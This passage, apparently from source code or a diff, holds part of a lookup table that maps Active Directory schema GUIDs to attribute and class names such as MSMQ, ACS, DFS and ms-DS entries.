'a637d211-5739-4ed1-89b2-88974548bc59': 'ms-DS-Operations-For-Az-Task-BL', + '9a0dc32f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Foreign', + 'b7c69e6d-2cc7-11d2-854e-00a0c983f608': 'Token-Groups', + '47c77bb0-316e-4e2f-97f1-0d4c48fca9dd': 'MS-TSLS-Property02', + '09b10f14-6f93-11d2-9905-0000f87a57d4': 'DS-UI-Settings', + '49b7560b-4707-4aa0-a27c-e17a09ca3f97': 'ms-Org-Is-Organizational-Group', + 'dab029b6-ddf7-11d1-90a5-00c04fd91ab1': 'ACS-Identity-Name', + 'f754c748-06f4-11d2-aa53-00c04fd7d83a': 'Global-Address-List', + '79d2f34c-9d7d-42bb-838f-866b3e4400e2': 'ms-DS-Other-Settings', + '9a0dc32c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-In-Routing-Servers', + '46a9b11d-60ae-405a-b7e8-ff8a58d456d2': 'Token-Groups-Global-And-Universal', + '6a84ede5-741e-43fd-9dd6-aa0f61578621': 'ms-DFSR-DisablePacketPrivacy', + '80212842-4bdc-11d1-a9c4-0000f80367c1': 'Rpc-Container', + '8f905f24-a413-435a-8ed1-35385ec179f7': 'ms-Org-Other-Display-Names', + 'f072230c-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Aggregate-Peak-Rate-Per-User', + 'bf96797d-0de6-11d0-a285-00aa003049e2': 'Governs-ID', + '564e9325-d057-c143-9e3b-4f9e5ef46f93': 'ms-DS-Principal-Name', + '8ea825aa-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval1', + '040fc392-33df-11d2-98b2-0000f87a57d4': 'Token-Groups-No-GC-Acceptable', + '87811bd5-cd8b-45cb-9f5d-980f3a9e0c97': 'ms-DFSR-DefaultCompressionExclusionFilter', + '3fdfee52-47f4-11d1-a9c3-0000f80367c1': 'DSA', + 'ee5b6790-3358-41a8-93f2-134ce21f3813': 'ms-Org-Leaders', + '7f56127e-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Duration-Per-Flow', + 'f30e3bbe-9ff0-11d1-b603-0000f80367c1': 'GP-Link', + 'fbb9a00d-3a8c-4233-9cf9-7189264903a1': 'ms-DS-Quota-Amount', + '99b88f52-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval2', + 'bf967a21-0de6-11d0-a285-00aa003049e2': 'Revision', + 'a68359dc-a581-4ee6-9015-5382c60f0fb4': 'ms-DFSR-OnDemandExclusionFileFilter', + 'bf967aac-0de6-11d0-a285-00aa003049e2': 'rpc-Entry', + 'afa58eed-a698-417e-9f56-fad54252c5f4': 'ms-Org-Leaders-BL', + 'f0722310-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-No-Of-Account-Files', + 'f30e3bbf-9ff0-11d1-b603-0000f80367c1': 'GP-Options', + '6655b152-101c-48b4-b347-e1fcebc60157': 'ms-DS-Quota-Effective', + '9a0dc321-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal', + 'bf967a22-0de6-11d0-a285-00aa003049e2': 'Rid', + '7d523aff-9012-49b2-9925-f922a0018656': 'ms-DFSR-OnDemandExclusionDirectoryFilter', + '66d51249-3355-4c1f-b24e-81f252aca23b': 'Dynamic-Object', + '1cb3559c-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-No-Of-Log-Files', + 'f30e3bc1-9ff0-11d1-b603-0000f80367c1': 'GPC-File-Sys-Path', + '16378906-4ea5-49be-a8d1-bfd41dff4f65': 'ms-DS-Quota-Trustee', + '9a0dc324-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal-Quota', + '66171889-8f3c-11d0-afda-00c04fd930c9': 'RID-Allocation-Pool', + '11e24318-4ca6-4f49-9afe-e5eb1afa3473': 'ms-DFSR-Options2', + '88611bdf-8cf4-11d0-afda-00c04fd930c9': 'rpc-Group', + '7f561284-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth', + 'f30e3bc0-9ff0-11d1-b603-0000f80367c1': 'GPC-Functionality-Version', + 'b5a84308-615d-4bb7-b05f-2f1746aa439f': 'ms-DS-Quota-Used', + '9a0dc325-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Label', + '66171888-8f3c-11d0-afda-00c04fd930c9': 'RID-Available-Pool', + '936eac41-d257-4bb9-bd55-f310a3cf09ad': 'ms-DFSR-CommonStagingPath', + 'dd712229-10e4-11d0-a05f-00aa006c33ed': 'File-Link-Tracking', + '7f56127c-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth-Per-Flow', + '32ff8ecc-783f-11d2-9916-0000f87a57d4': 'GPC-Machine-Extension-Names', + '8a167ce4-f9e8-47eb-8d78-f7fe80abb2cc': 'ms-DS-NC-Repl-Cursors', + '4580ad25-d407-48d2-ad24-43e6e56793d7': 'MSMQ-Label-Ex', + '66171886-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager-Reference', + '135eb00e-4846-458b-8ea2-a37559afd405': 'ms-DFSR-CommonStagingSizeInMb', + '88611be1-8cf4-11d0-afda-00c04fd930c9': 'rpc-Profile', + 'f0722311-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Account-File', + '42a75fc6-783f-11d2-9916-0000f87a57d4': 'GPC-User-Extension-Names', + '9edba85a-3e9e-431b-9b1a-a5b6e9eda796': 'ms-DS-NC-Repl-Inbound-Neighbors', + '9a0dc335-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Long-Lived', + '6617188c-8f3c-11d0-afda-00c04fd930c9': 'RID-Next-RID', + 'd64b9c23-e1fa-467b-b317-6964d744d633': 'ms-DFSR-StagingCleanupTriggerInPercent', + '8e4eb2ed-4712-11d0-a1a0-00c04fd930c9': 'File-Link-Tracking-Entry', + '1cb3559d-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Log-File', + '7bd4c7a6-1add-4436-8c04-3999a880154c': 'GPC-WQL-Filter', + '855f2ef5-a1c5-4cc4-ba6d-32522848b61f': 'ms-DS-NC-Repl-Outbound-Neighbors', + '9a0dc33f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Migrated', + '6617188a-8f3c-11d0-afda-00c04fd930c9': 'RID-Previous-Allocation-Pool', + 'b786cec9-61fd-4523-b2c1-5ceb3860bb32': 'ms-DFS-Comment-v2', + 'f29653cf-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Profile-Element', + '81f6e0df-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Max-Token-Bucket-Per-Flow', + 'bf96797e-0de6-11d0-a285-00aa003049e2': 'Group-Attributes', + '97de9615-b537-46bc-ac0f-10720f3909f3': 'ms-DS-NC-Replica-Locations', + '1d2f4412-f10d-4337-9b48-6e5b125cd265': 'MSMQ-Multicast-Address', + '7bfdcb7b-4807-11d1-a9c3-0000f80367c1': 'RID-Set-References', + '35b8b3d9-c58f-43d6-930e-5040f2f1a781': 'ms-DFS-Generation-GUID-v2', + '89e31c12-8530-11d0-afda-00c04fd930c9': 'Foreign-Security-Principal', + '7f56127b-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Token-Rate-Per-Flow', + 'bf967980-0de6-11d0-a285-00aa003049e2': 'Group-Membership-SAM', + '3df793df-9858-4417-a701-735a1ecebf74': 'ms-DS-NC-RO-Replica-Locations', + '9a0dc333-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Name-Style', + '6617188b-8f3c-11d0-afda-00c04fd930c9': 'RID-Used-Pool', + '3c095e8a-314e-465b-83f5-ab8277bcf29b': 'ms-DFS-Last-Modified-v2', + '88611be0-8cf4-11d0-afda-00c04fd930c9': 'rpc-Server', + '87a2d8f9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Maximum-SDU-Size', + 'eea65905-8ac6-11d0-afda-00c04fd930c9': 'Group-Priority', + 'f547511c-5b2a-44cc-8358-992a88258164': 'ms-DS-NC-RO-Replica-Locations-BL', + 'eb38a158-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Flags', + '8297931c-86d3-11d0-afda-00c04fd930c9': 'Rights-Guid', + 'edb027f3-5726-4dee-8d4e-dbf07e1ad1f1': 'ms-DFS-Link-Identity-GUID-v2', + 'c498f152-dc6b-474a-9f52-7cdba3d7d351': 'friendlyCountry', + '9c65329b-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Delay-Variation', + '9a9a021e-4a5b-11d1-a9c3-0000f80367c1': 'Group-Type', + '2de144fc-1f52-486f-bdf4-16fcc3084e54': 'ms-DS-Non-Security-Group-Extra-Classes', + '6f914be6-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Stub', + 'a8df7465-c5ea-11d1-bbcb-0080c76670c0': 'Role-Occupant', + '86b021f6-10ab-40a2-a252-1dc0cc3be6a9': 'ms-DFS-Link-Path-v2', + 'f29653d0-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Server-Element', + '9517fefb-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Latency', + 'eea65904-8ac6-11d0-afda-00c04fd930c9': 'Groups-to-Ignore', + 'd161adf0-ca24-4993-a3aa-8b2c981302e8': 'MS-DS-Per-User-Trust-Quota', + '9a0dc330-c100-11d1-bbc5-0080c76670c0': 'MSMQ-OS-Type', + '81d7f8c2-e327-4a0d-91c6-b42d4009115f': 'roomNumber', + '57cf87f7-3426-4841-b322-02b3b6e9eba8': 'ms-DFS-Link-Security-Descriptor-v2', + '8447f9f3-1027-11d0-a05f-00aa006c33ed': 'FT-Dfs', + '8d0e7195-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Policed-Size', + 'bf967982-0de6-11d0-a285-00aa003049e2': 'Has-Master-NCs', + '8b70a6c6-50f9-4fa3-a71e-1ce03040449b': 'MS-DS-Per-User-Trust-Tombstones-Quota', + '9a0dc32b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Out-Routing-Servers', + '7bfdcb80-4807-11d1-a9c3-0000f80367c1': 'Root-Trust', + '200432ce-ec5f-4931-a525-d7f4afe34e68': 'ms-DFS-Namespace-Identity-GUID-v2', + '2a39c5be-8960-11d1-aebc-0000f80367c1': 'RRAS-Administration-Connection-Point', + 'aec2cfe3-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Max-SDU-Size', + 'bf967981-0de6-11d0-a285-00aa003049e2': 'Has-Partial-Replica-NCs', + 'd921b50a-0ab2-42cd-87f6-09cf83a91854': 'ms-DS-Preferred-GC-Site', + '9a0dc328-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Owner-ID', + '88611bde-8cf4-11d0-afda-00c04fd930c9': 'rpc-Ns-Annotation', + '0c3e5bc5-eb0e-40f5-9b53-334e958dffdb': 'ms-DFS-Properties-v2', + 'bf967a9c-0de6-11d0-a285-00aa003049e2': 'Group', + 'b6873917-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Min-Policed-Size', + '5fd424a7-1262-11d0-a060-00aa006c33ed': 'Help-Data16', + 'd7c53242-724e-4c39-9d4c-2df8c9d66c7a': 'ms-DS-Repl-Attribute-Meta-Data', + '2df90d75-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Prev-Site-Gates', + 'bf967a23-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Bindings', + 'ec6d7855-704a-4f61-9aa6-c49a7c1d54c7': 'ms-DFS-Schema-Major-Version', + 'f39b98ae-938d-11d1-aebd-0000f80367c1': 'RRAS-Administration-Dictionary', + 'a331a73f-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Peak-Rate', + '5fd424a8-1262-11d0-a060-00aa006c33ed': 'Help-Data32', + '2f5c8145-e1bd-410b-8957-8bfa81d5acfd': 'ms-DS-Repl-Value-Meta-Data', + '9a0dc327-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Privacy-Level', + '7a0ba0e0-8e98-11d0-afda-00c04fd930c9': 'rpc-Ns-Codeset', + 'fef9a725-e8f1-43ab-bd86-6a0115ce9e38': 'ms-DFS-Schema-Minor-Version', + 'bf967a9d-0de6-11d0-a285-00aa003049e2': 'Group-Of-Names', + 'a916d7c9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Token-Size', + '5fd424a9-1262-11d0-a060-00aa006c33ed': 'Help-File-Name', + '0ea12b84-08b3-11d3-91bc-0000f87a57d4': 'MS-DS-Replicates-NC-Reason', + '9a0dc33e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-QM-ID', + '80212841-4bdc-11d1-a9c4-0000f80367c1': 'rpc-Ns-Entry-Flags', + '2d7826f0-4cf7-42e9-a039-1110e0d9ca99': 'ms-DFS-Short-Name-Link-Path-v2', + 'bf967a91-0de6-11d0-a285-00aa003049e2': 'Sam-Domain-Base', + '1cb355a2-56d0-11d1-a9c6-0000f80367c1': 'ACS-Non-Reserved-Tx-Limit', + 'ec05b750-a977-4efe-8e8d-ba6c1a6e33a8': 'Hide-From-AB', + '85abd4f4-0a89-4e49-bdec-6f35bb2562ba': 'ms-DS-Replication-Notify-First-DSA-Delay', + '8e441266-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Journal-Quota', + 'bf967a24-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Group', + '6ab126c6-fa41-4b36-809e-7ca91610d48f': 'ms-DFS-Target-List-v2', + '0310a911-93a3-4e21-a7a3-55d85ab2c48b': 'groupOfUniqueNames', + 'fe7afe45-3d14-43a7-afa7-3a1b144642af': 'ms-Mcs-AdmPwdExpirationTime', + 'f072230d-aef5-11d1-bdcf-0000f80367c1': 'ACS-Non-Reserved-Tx-Size', + 'bf967985-0de6-11d0-a285-00aa003049e2': 'Home-Directory', + 'd63db385-dd92-4b52-b1d8-0d3ecc0e86b6': 'ms-DS-Replication-Notify-Subsequent-DSA-Delay', + '2df90d87-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Queue-Name-Ext', + 'bf967a25-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Interface-ID', + 'ea944d31-864a-4349-ada5-062e2c614f5e': 'ms-DFS-Ttl-v2', + 'bf967aad-0de6-11d0-a285-00aa003049e2': 'Sam-Server', + '4c9928d7-d725-4fa6-a109-aba3ad8790e5': 'ms-Mcs-AdmPwd', + '7f561282-5301-11d1-a9c5-0000f80367c1': 'ACS-Permission-Bits', + 'bf967986-0de6-11d0-a285-00aa003049e2': 'Home-Drive', + '08e3aa79-eb1c-45b5-af7b-8f94246c8e41': 'ms-DS-ReplicationEpoch', + '3f6b8e12-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Quota', + '29401c48-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Object-ID', + '3ced1465-7b71-2541-8780-1e1ea6243a82': 'ms-DS-BridgeHead-Servers-Used', + 'f30e3bc2-9ff0-11d1-b603-0000f80367c1': 'Group-Policy-Container', + '1cb3559a-56d0-11d1-a9c6-0000f80367c1': 'ACS-Policy-Name', + 'a45398b7-c44a-4eb6-82d3-13c10946dbfe': 'houseIdentifier', + 'd5b35506-19d6-4d26-9afb-11357ac99b5e': 'ms-DS-Retired-Repl-NC-Signatures', + '9a0dc320-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue-Type', + 'bf967a27-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Priority', + '51c9f89d-4730-468d-a2b5-1d493212d17e': 'ms-DS-Is-Used-As-Resource-Security-Attribute', + 'bf967aae-0de6-11d0-a285-00aa003049e2': 'Secret', + '7f561281-5301-11d1-a9c5-0000f80367c1': 'ACS-Priority', + '6043df71-fa48-46cf-ab7c-cbd54644b22d': 'host', + 'b39a61be-ed07-4cab-9a4a-4963ed0141e1': 'ms-ds-Schema-Extensions', + '9a0dc322-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Quota', + 'bf967a28-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Profile-Entry', + '2e28edee-ed7c-453f-afe4-93bd86f2174f': 'ms-DS-Claim-Possible-Values', + '7bfdcb8a-4807-11d1-a9c3-0000f80367c1': 'Index-Server-Catalog', + 'f072230f-aef5-11d1-bdcf-0000f80367c1': 'ACS-RSVP-Account-Files-Location', + 'f0f8ff83-1191-11d0-a060-00aa006c33ed': 'Icon-Path', + '4c51e316-f628-43a5-b06b-ffb695fcb4f3': 'ms-DS-SD-Reference-Domain', + '3bfe6748-b544-485a-b067-1b310c4334bf': 'MSMQ-Recipient-FormatName', + '29401c4a-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Transfer-Syntax', + 'c66217b9-e48e-47f7-b7d5-6552b8afd619': 'ms-DS-Claim-Value-Type', + '4828cc14-1437-45bc-9b07-ad6f015e5f28': 'inetOrgPerson', + 'bf967aaf-0de6-11d0-a285-00aa003049e2': 'Security-Object', + '1cb3559b-56d0-11d1-a9c6-0000f80367c1': 'ACS-RSVP-Log-Files-Location', + '7d6c0e92-7e20-11d0-afd6-00c04fd930c9': 'Implemented-Categories', + '4f146ae8-a4fe-4801-a731-f51848a4f4e4': 'ms-DS-Security-Group-Extra-Classes', + '2df90d81-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Service', + '3e0abfd0-126a-11d0-a060-00aa006c33ed': 'SAM-Account-Name', + 'eebc123e-bae6-4166-9e5b-29884a8b76b0': 'ms-DS-Claim-Attribute-Source', + '7f56127f-5301-11d1-a9c5-0000f80367c1': 'ACS-Service-Type', + '7bfdcb87-4807-11d1-a9c3-0000f80367c1': 'IndexedScopes', + '0e1b47d7-40a3-4b48-8d1b-4cac0c1cdf21': 'ms-DS-Settings', + '2df90d77-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Services', + '6e7b626c-64f2-11d0-afd2-00c04fd930c9': 'SAM-Account-Type', + '6afb0e4c-d876-437c-aeb6-c3e41454c272': 'ms-DS-Claim-Type-Applies-To-Class', + '2df90d89-009f-11d2-aa4c-00c04fd7d83a': 'Infrastructure-Update', + 'bf967a92-0de6-11d0-a285-00aa003049e2': 'Server', + '7f561279-5301-11d1-a9c5-0000f80367c1': 'ACS-Time-Of-Day', + '52458023-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Incoming', + 'c17c5602-bcb7-46f0-9656-6370ca884b72': 'ms-DS-Site-Affinity', + '8bf0221b-7a06-4d63-91f0-1499941813d3': 'MSMQ-Secured-Source', + '04d2d114-f799-4e9b-bcdc-90e8f5ba7ebe': 'SAM-Domain-Updates', + '52c8d13a-ce0b-4f57-892b-18f5a43a2400': 'ms-DS-Claim-Shares-Possible-Values-With', + '7f561280-5301-11d1-a9c5-0000f80367c1': 'ACS-Total-No-Of-Flows', + '52458024-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Outgoing', + '789ee1eb-8c8e-4e4c-8cec-79b31b7617b5': 'ms-DS-SPN-Suffixes', + '9a0dc32d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Service-Type', + 'dd712224-10e4-11d0-a05f-00aa006c33ed': 'Schedule', + '54d522db-ec95-48f5-9bbd-1880ebbb2180': 'ms-DS-Claim-Shares-Possible-Values-With-BL', + '07383086-91df-11d1-aebc-0000f80367c1': 'Intellimirror-Group', + 'f780acc0-56f0-11d1-a9c6-0000f80367c1': 'Servers-Container', + '7cbd59a5-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Server-List', + 'f0f8ff90-1191-11d0-a060-00aa006c33ed': 'Initials', + '35319082-8c4a-4646-9386-c2949d49894d': 'ms-DS-Tasks-For-Az-Role', + '9a0dc33d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Services', + 'bf967a2b-0de6-11d0-a285-00aa003049e2': 'Schema-Flags-Ex', + '4d371c11-4cad-4c41-8ad2-b180ab2bd13c': 'ms-DS-Members-Of-Resource-Property-List', + '6d05fb41-246b-11d0-a9c8-00aa006c33ed': 'Additional-Information', + '96a7dd64-9118-11d1-aebc-0000f80367c1': 'Install-Ui-Level', + 'a0dcd536-5158-42fe-8c40-c00a7ad37959': 'ms-DS-Tasks-For-Az-Role-BL', + '9a0dc33b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Certificates', + 'bf967923-0de6-11d0-a285-00aa003049e2': 'Schema-ID-GUID', + '7469b704-edb0-4568-a5a5-59f4862c75a7': 'ms-DS-Members-Of-Resource-Property-List-BL', + '07383085-91df-11d1-aebc-0000f80367c1': 'Intellimirror-SCP', + 'b7b13123-b82e-11d0-afee-0000f80367c1': 'Service-Administration-Point', + '032160be-9824-11d1-aec0-0000f80367c1': 'Additional-Trusted-Service-Names', + 'bf96798c-0de6-11d0-a285-00aa003049e2': 'Instance-Type', + 'b11c8ee2-5fcd-46a7-95f0-f38333f096cf': 'ms-DS-Tasks-For-Az-Task', + '3881b8ea-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Sign-Certificates-Mig', + 'f9fb64ae-93b4-11d2-9945-0000f87a57d4': 'Schema-Info', + 'b47f510d-6b50-47e1-b556-772c79e4ffc4': 'ms-SPP-CSVLK-Pid', + 'f0f8ff84-1191-11d0-a060-00aa006c33ed': 'Address', + 'b7c69e60-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Failover', + 'df446e52-b5fa-4ca2-a42f-13f98a526c8f': 'ms-DS-Tasks-For-Az-Task-BL', + '9a0dc332-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Key', + '1e2d06b4-ac8f-11d0-afe3-00c04fd930c9': 'Schema-Update', + 'a601b091-8652-453a-b386-87ad239b7c08': 'ms-SPP-CSVLK-Partial-Product-Key', + '26d97376-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport', + 'bf967ab1-0de6-11d0-a285-00aa003049e2': 'Service-Class', + 'f70b6e48-06f4-11d2-aa53-00c04fd7d83a': 'Address-Book-Roots', + 'b7c69e5e-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Generator', + '2cc4b836-b63f-4940-8d23-ea7acf06af56': 'ms-DS-User-Account-Control-Computed', + '9a0dc337-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-1', + 'bf967a2c-0de6-11d0-a285-00aa003049e2': 'Schema-Version', + '9684f739-7b78-476d-8d74-31ad7692eef4': 'ms-SPP-CSVLK-Sku-Id', + '5fd42461-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table', + 'b7c69e5f-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Renew', + 'add5cf10-7b09-4449-9ae6-2534148f8a72': 'ms-DS-User-Password-Expiry-Time-Computed', + '9a0dc338-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-2', + '16f3a4c2-7e79-11d2-9921-0000f87a57d4': 'Scope-Flags', + '9b663eda-3542-46d6-9df0-314025af2bac': 'ms-SPP-KMS-Ids', + '26d97375-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport-Container', + '28630ec1-41d5-11d1-a9c1-0000f80367c1': 'Service-Connection-Point', + '5fd42462-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table-MSDOS', + 'bf96798d-0de6-11d0-a285-00aa003049e2': 'International-ISDN-Number', + '146eb639-bb9f-4fc1-a825-e29e00c77920': 'ms-DS-UpdateScript', + 'fd129d8a-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Site-Foreign', + 'bf9679a8-0de6-11d0-a285-00aa003049e2': 'Script-Path', + '69bfb114-407b-4739-a213-c663802b3e37': 'ms-SPP-Installation-Id', + '16775781-47f3-11d1-a9c3-0000f80367c1': 'Address-Home', + 'bf96798e-0de6-11d0-a285-00aa003049e2': 'Invocation-Id', + '773e93af-d3b4-48d4-b3f9-06457602d3d0': 'ms-DS-Source-Object-DN', + '9a0dc339-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Gates', + 'c3dbafa6-33df-11d2-98b2-0000f87a57d4': 'SD-Rights-Effective', + '6e8797c4-acda-4a49-8740-b0bd05a9b831': 'ms-SPP-Confirmation-Id', + 'b40ff825-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Base', + 'bf967ab2-0de6-11d0-a285-00aa003049e2': 'Service-Instance', + '5fd42463-1262-11d0-a060-00aa006c33ed': 'Address-Syntax', + 'b40ff81f-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data', + '778ff5c9-6f4e-4b74-856a-d68383313910': 'ms-DS-KrbTgt-Link', + 'e2704852-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Site-Gates-Mig', + 'bf967a2d-0de6-11d0-a285-00aa003049e2': 'Search-Flags', + '098f368e-4812-48cd-afb7-a136b96807ed': 'ms-SPP-Online-License', + '5fd42464-1262-11d0-a060-00aa006c33ed': 'Address-Type', + 'b40ff81e-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data-Type', + '185c7821-3749-443a-bd6a-288899071adb': 'ms-DS-Revealed-Users', + '9a0dc340-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-ID', + 'bf967a2e-0de6-11d0-a285-00aa003049e2': 'Search-Guide', + '67e4d912-f362-4052-8c79-42f45ba7b221': 'ms-SPP-Phone-License', + 'b40ff826-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter', + '5fe69b0b-e146-4f15-b0ab-c1e5d488e094': 'simpleSecurityObject', + '553fd038-f32e-11d0-b0bc-00c04fd8dca6': 'Admin-Context-Menu', + 'b40ff823-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter-Reference', + '1d3c2d18-42d0-4868-99fe-0eca1e6fa9f3': 'ms-DS-Has-Full-Replica-NCs', + 'ffadb4b2-de39-11d1-90a5-00c04fd91ab1': 'MSMQ-Site-Name', + '01072d9a-98ad-4a53-9744-e83e287278fb': 'secretary', + '0353c4b5-d199-40b0-b3c5-deb32fd9ec06': 'ms-SPP-Config-License', + 'bf967918-0de6-11d0-a285-00aa003049e2': 'Admin-Count', + 'b40ff81d-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ID', + '15585999-fd49-4d66-b25d-eeb96aba8174': 'ms-DS-Never-Reveal-Group', + '422144fa-c17f-4649-94d6-9731ed2784ed': 'MSMQ-Site-Name-Ex', + 'bf967a2f-0de6-11d0-a285-00aa003049e2': 'Security-Identifier', + '1075b3a1-bbaf-49d2-ae8d-c4f25c823303': 'ms-SPP-Issuance-License', + 'b40ff828-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Policy', + 'bf967ab3-0de6-11d0-a285-00aa003049e2': 'Site', + 'bf967919-0de6-11d0-a285-00aa003049e2': 'Admin-Description', + 'b40ff820-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Reference', + '303d9f4a-1dd6-4b38-8fc5-33afe8c988ad': 'ms-DS-Reveal-OnDemand-Group', + '9a0dc32a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sites', + 'bf967a31-0de6-11d0-a285-00aa003049e2': 'See-Also', + '19d706eb-4d76-44a2-85d6-1c342be3be37': 'ms-TPM-Srk-Pub-Thumbprint', + 'bf96791a-0de6-11d0-a285-00aa003049e2': 'Admin-Display-Name', + 'b40ff81c-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Name', + 'aa156612-2396-467e-ad6a-28d23fdb1865': 'ms-DS-Secondary-KrbTgt-Number', + '9a0dc329-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Transactional', + 'ddac0cf2-af8f-11d0-afeb-00c04fd930c9': 'Seq-Notification', + 'c894809d-b513-4ff8-8811-f4f43f5ac7bc': 'ms-TPM-Owner-Information-Temp', + 'b40ff827-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy', + 'd50c2cde-8951-11d1-aebc-0000f80367c1': 'Site-Link', + '18f9b67d-5ac6-4b3b-97db-d0a406afb7ba': 'Admin-Multiselect-Property-Pages', + '07383075-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Action', + '94f6f2ac-c76d-4b5e-b71f-f332c3e93c22': 'ms-DS-Revealed-DSAs', + 'c58aae32-56f9-11d2-90d0-00c04fd91ab1': 'MSMQ-User-Sid', + 'bf967a32-0de6-11d0-a285-00aa003049e2': 'Serial-Number', + 'ea1b7b93-5e48-46d5-bc6c-4df4fda78a35': 'ms-TPM-Tpm-Information-For-Computer', + '52458038-ca6a-11d0-afff-0000f80367c1': 'Admin-Property-Pages', + 'b40ff822-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy-Reference', + '5dd68c41-bfdf-438b-9b5d-39d9618bf260': 'ms-DS-KrbTgt-Link-BL', + '9a0dc336-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Version', + '09dcb7a0-165f-11d0-a064-00aa006c33ed': 'Server-Name', + '14fa84c9-8ecd-4348-bc91-6d3ced472ab7': 'ms-TPM-Tpm-Information-For-Computer-BL', + 'b40ff829-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA', + 'd50c2cdf-8951-11d1-aebc-0000f80367c1': 'Site-Link-Bridge', + '9a7ad940-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes', + '07383074-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Type', + 'c8bc72e0-a6b4-48f0-94a5-fd76a88c9987': 'ms-DS-Is-Full-Replica-For', + 'db0c9085-c1f2-11d1-bbc5-0080c76670c0': 'msNPAllowDialin', + '26d9736d-6070-11d1-a9c6-0000f80367c1': 'Server-Reference', + '0be0dd3b-041a-418c-ace9-2f17d23e9d42': 'ms-DNS-Keymaster-Zones', + '9a7ad941-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes-Effective', + 'b40ff821-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA-Reference', + 